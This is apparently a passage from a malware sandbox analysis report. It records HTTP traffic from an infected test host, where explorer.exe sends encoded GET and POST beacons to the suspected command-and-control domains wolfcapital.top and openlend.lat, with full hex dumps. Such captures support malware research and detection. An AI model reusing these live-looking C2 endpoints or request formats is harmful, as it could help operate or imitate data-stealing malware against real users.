31 32 59 51 62 73 53 32 46 35 4c 74 63 52 4f 55 62 4c 45 75 51 32 48 35 70 4b 41 75 41 58 31 50 58 33 58 48 43 61 78 56 30 34 64 2b 67 4a 58 76 30 41 76 57 6b 67 4e 31 61 38 68 7a 74 6d 4e 64 33 71 69 62 73 74 72 36 49 46 6c 66 30 6a 63 64 34 2f 57 4f 32 30 79 58 70 71 62 55 76 51 4e 34 50 54 69 34 4a 5a 54 64 54 70 31 79 37 71 59 50 74 41 46 77 45 49 78 5a 78 77 4f 54 62 55 67 52 4d 2f 72 33 78 7a 65 2b 6c 37 34 6a 77 54 52 45 6c 52 4d 42 62 58 57 54 47 59 71 45 41 6d 34 55 71 41 4d 55 59 36 45 2b 6f 69 61 6b 66 6e 7a 73 31 56 78 7a 4f 4f 45 4b 45 52 47 50 51 6c 73 56 54 52 63 56 58 61 41 77 37 32 31 45 74 78 49 65 54 62 4d 52 37 79 56 5a 2b 76 4f 2b 55 78 68 53 79 6d 30 31 6b 6f 63 56 4b 54 54 35 36 64 36 52 56 4c 52 6f 47 2b 63 70 41 54 71 55 55 2f 33 74 44 7a 52 58 54 42 62 58 46 75 33 35 58 6c 4c 77 79 4d 65 35 68 51 45 77 51 36 6a 32 6d 2b 62 41 7a 47 59 69 38 4b 53 35 42 65 41 71 59 6b 33 35 78 72 4a 56 56 73 53 34 6a 6a 6e 65 51 4a 43 46 39 58 55 79 54 5a 4c 79 49 31 2b 33 48 2f 57 41 33 38 33 6e 2f 45 4a 42 43 79 39 52 46 41 34 7a 78 74 34 6d 47 38 78 71 59 46 6d 73 77 6b 76 6f 55 67 51 69 45 47 78 31 61 76 2b 7a 53 49 31 4c 43 4f 2b 61 76 64 4e 6b 53 65 71 46 6c 51 62 4c 38 6d 65 72 4c 55 6c 64 38 4d 4d 53 37 69 68 4c 42 59 4c 36 31 74 62 51 53 44 37 63 50 67 4a 66 6f 4f 6b 56 31 67 43 58 44 31 6d 6e 64 70 4e 6b 62 2f 4b 56 67 5a 58 4f 34 51 6b 59 4b 38 6d 34 33 38 69 56 6a 46 41 6f 79 63 42 45 55 54 58 2b 6a 6c 4f 73 50 30 74 39 31 36 64 34 6f 59 67 68 33 6a 41 39 38 2f 38 44 66 43 77 44 7a 30 55 59 4d 78 57 59 73 73 52 58 44 45 41 7a 45 68 78 69 51 36 31 75 49 4d 53 74 53 68 69 59 48 43 53 46 63 41 4c 53 67 63 48 75 66 53 34 50 68 4c 4c 30 4c 69 53 63 4d 59 6e 78 46 59 32 4e 77 51 64 6e 4c 6e 45 54 6c 46 6b 64 71 36 58 55 6b 4d 47 74 7a 43 49 44 45 4f 6f 78 6e 71 32 73 4a 76 36 56 44 64 2b 45 47 64 37 46 4d 4b 4b 6b 46 63 35 76 7a 5a 42 46 6b 72 62 79 65 54 63 59 48 63 39 42 31 4d Data Ascii: 5Nag0d=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
Aug 29, 2023 22:50:24.359368086 CEST	2418	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:50:24 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>
Aug 29, 2023 22:50:24.359456062 CEST	2421	OUT	Data Raw: 4c 33 49 57 54 33 6c 6c 46 44 76 6a 4c 64 6a 50 47 37 44 77 6e 31 45 35 4e 70 6f 67 75 51 76 54 6a 30 30 33 2f 42 4f 7a 42 70 71 72 64 65 42 42 31 32 57 72 30 4e 39 35 4a 6e 64 50 4f 38 79 6a 78 7a 57 74 50 70 35 6f 51 63 71 50 65 62 74 4f 32 61 Data Ascii: L3IWT3llFDvjLdjPG7Dwn1E5NpoguQvTj003/BOzBpqrdeBB12Wr0N95JndPO8yjxzWtPp5oQcqPebtO2aB8guivpKoGiYCjvVjuesvCXxTGC7EPndByH0KEx8/sHfCybf8uvw/W8ssy23oFu2m6akVJTBPPEmqdiyvCuWHbxZYo1bj0EHqCUG+UiPxyfSYEEpycAozfFwzzUbSqgzQqjn3v/wFrx7Oiqj3Tv3DUqBzW7S/ivbJ
Aug 29, 2023 22:50:24.359806061 CEST	2423	OUT	Data Raw: 4c 6f 38 6b 33 47 70 75 74 71 6e 54 45 37 70 68 76 43 36 51 72 77 6a 33 47 32 62 75 52 65 53 6b 44 71 2f 32 2f 64 6a 5a 63 47 43 4d 5a 30 69 54 6e 2f 68 77 43 53 47 72 62 51 32 41 65 79 75 51 78 52 45 67 33 4c 47 2f 59 7a 34 34 71 31 51 52 4c 68 Data Ascii: Lo8k3GputqnTE7phvC6Qrwj3G2buReSkDq/2/djZcGCMZ0iTn/hwCSGrbQ2AeyuQxREg3LG/Yz44q1QRLhuF5d77IbHGm6tXBP06oxN8HIqk14NVQblpxEW1E0W1sySq88LZCUTY09K298PqdhgP5vFwrn45Ik2e3nDCvMW9XYDlSkFaFURs7z3A96UKUr2syG/AFOGwKW0lWGoGXlsyhwBM83Omyq79yoFQLtQWdED4t1bzU/8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.11.20	50055	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:26.887608051 CEST	2424	OUT	GET /aw8o/?5Nag0d=1Jf62kTrmMrtvW9nTGcQzL1qxjpfbwlqHSE5+yviuOiwQb8X0elvNWjLUSKlufaHfU8RKiOE6AarqIMWhrvJVzj6gCO1stp4zw==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:50:26.985241890 CEST	2425	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:50:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.11.20	50056	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:32.002074003 CEST	2427	OUT	POST /aw8o/ HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.openlend.lat Referer: http://www.openlend.lat/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 79 6e 56 2f 30 6d 31 68 31 49 7a 43 2b 30 78 44 47 48 61 73 6c 43 32 6c 30 69 2f 6c 46 41 43 77 6b 6d 49 37 74 2b 71 48 7a 51 71 38 5a 62 6f 6d 6b 49 70 4f 4a 74 56 2f 61 69 2f 56 35 38 41 46 4f 38 76 5a 61 59 57 52 56 4d 46 51 77 78 34 38 51 6e 71 66 66 49 56 54 63 51 76 5a 4c 47 59 35 4f 32 53 53 33 5a 78 74 77 4d 44 70 37 63 67 4e 71 47 32 76 6d 75 43 49 47 6c 2f 69 67 70 59 2f 2b 6e 6d 50 49 48 76 54 54 49 50 49 4e 6f 37 44 65 69 74 71 39 79 2b 2b 39 77 64 69 6a 41 31 4f 59 69 31 49 2f 61 5a 42 6a 73 38 7a 6e 64 36 71 51 3d 3d Data Ascii: 5Nag0d=EynV/0m1h1IzC+0xDGHaslC2l0i/lFACwkmI7t+qHzQq8ZbomkIpOJtV/ai/V58AFO8vZaYWRVMFQwx48QnqffIVTcQvZLGY5O2SS3ZxtwMDp7cgNqG2vmuCIGl/igpY/+nmPIHvTTIPINo7Deitq9y++9wdijA1OYi1I/aZBjs8znd6qQ==
Aug 29, 2023 22:50:32.184415102 CEST	2427	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:50:32 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/ CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:50:32 CDN-EdgeStorageId: 1082 CDN-RequestId: faf44a8bf2f87e83f11f1a85edc3e914
Aug 29, 2023 22:50:32.184495926 CEST	2427	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.11.20	50057	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:34.532855988 CEST	2429	OUT	POST /aw8o/ HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.openlend.lat Referer: http://www.openlend.lat/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 79 6e 56 2f 30 6d 31 68 31 49 7a 41 62 38 78 46 6c 76 61 38 31 43 31 67 30 69 2f 73 6c 42 4a 77 6b 61 49 37 73 36 36 48 6d 34 71 38 38 66 6f 33 56 49 70 4c 4a 74 56 31 36 69 36 62 5a 38 65 46 50 41 5a 5a 66 34 57 52 56 49 46 51 44 70 34 34 51 6e 70 55 2f 49 55 45 73 51 71 64 4c 47 43 35 4f 7a 78 53 32 4e 78 74 41 77 44 71 35 45 67 65 50 79 31 38 32 75 45 63 32 6c 38 74 41 70 57 2f 2b 71 47 50 4d 43 59 54 68 55 50 49 70 6b 37 43 65 69 69 6b 4e 79 7a 32 64 78 61 78 79 41 37 41 4c 79 52 58 64 79 32 45 53 4e 69 79 30 67 56 2b 77 61 39 50 4c 38 38 38 74 4e 6f 2f 39 68 42 6f 45 47 2b 46 66 67 77 74 36 76 7a 4b 67 32 32 62 62 4c 44 73 59 34 4f 7a 41 59 65 59 61 35 5a 61 38 73 53 66 79 51 2b 52 41 46 7a 78 5a 33 50 48 46 4a 4b 55 78 42 30 6d 74 30 50 42 55 56 41 68 45 46 74 33 6b 45 57 50 34 6f 4f 43 48 76 42 56 4a 36 56 6c 36 4e 6b 74 42 66 70 7a 5a 69 4b 4c 4c 4f 2f 58 47 33 62 39 34 6e 6e 41 2b 36 6a 7a 52 56 41 77 32 34 55 5a 72 65 46 2f 37 7a 75 76 67 75 55 6f 33 69 63 77 57 30 74 58 2f 38 6c 33 69 65 77 43 43 45 2f 6f 4c 57 2b 4d 30 4b 48 58 69 70 70 5a 59 37 6a 6a 56 72 43 53 2f 39 31 4a 6b 44 62 53 6d 37 71 34 54 38 79 6b 50 6b 33 43 75 6c 75 64 70 75 4d 4f 4c 4c 45 6d 31 63 76 75 6a 4d 69 4f 4c 33 58 69 6e 51 51 79 6b 66 31 52 73 68 6a 53 6b 31 34 45 4b 37 73 74 4c 62 51 51 32 57 53 69 78 35 6b 4d 65 79 63 61 46 47 64 68 4c 33 42 52 37 31 6c 30 4f 4a 44 55 65 47 4e 67 2b 69 37 48 4b 31 59 33 42 7a 71 6e 6b 61 51 46 6b 4b 6e 53 68 66 72 34 56 53 41 46 51 44 51 76 69 68 56 57 33 4a 57 49 58 33 68 33 2f 79 4a 64 69 68 6c 69 70 4d 3d Data Ascii: 5Nag0d=EynV/0m1h1IzAb8xFlva81C1g0i/slBJwkaI7s66Hm4q88fo3VIpLJtV16i6bZ8eFPAZZf4WRVIFQDp44QnpU/IUEsQqdLGC5OzxS2NxtAwDq5EgePy182uEc2l8tApW/+qGPMCYThUPIpk7CeiikNyz2dxaxyA7ALyRXdy2ESNiy0gV+wa9PL888tNo/9hBoEG+Ffgwt6vzKg22bbLDsY4OzAYeYa5Za8sSfyQ+RAFzxZ3PHFJKUxB0mt0PBUVAhEFt3kEWP4oOCHvBVJ6Vl6NktBfpzZiKLLO/XG3b94nnA+6jzRVAw24UZreF/7zuvguUo3icwW0tX/8l3iewCCE/oLW+M0KHXippZY7jjVrCS/91JkDbSm7q4T8ykPk3CuludpuMOLLEm1cvujMiOL3XinQQykf1RshjSk14EK7stLbQQ2WSix5kMeycaFGdhL3BR71l0OJDUeGNg+i7HK1Y3BzqnkaQFkKnShfr4VSAFQDQvihVW3JWIX3h3/yJdihlipM=
Aug 29, 2023 22:50:34.628793001 CEST	2429	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:50:34 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/ CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:50:34 CDN-EdgeStorageId: 1082 CDN-RequestId: 3480d27d4ee9f417a50a558e6c1cbafa
